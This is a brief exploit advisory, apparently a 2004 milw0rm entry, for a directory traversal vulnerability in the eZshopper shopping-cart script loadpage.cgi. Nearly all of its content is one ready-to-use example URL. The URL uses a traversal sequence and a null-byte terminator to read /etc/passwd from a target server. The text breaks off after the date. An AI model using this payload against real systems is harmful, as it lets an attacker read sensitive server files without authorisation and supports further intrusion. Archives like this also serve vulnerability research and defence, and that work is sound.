Alex Heiphetz Group eZshopper - 'loadpage.cgi' Directory Traversal

Example: http://targethost/cgi-bin/loadpage.cgi?userid=id&file=.|./.|./.|./.|./.|./etc/passwd%00.html milw0rm.com 2004-11-25...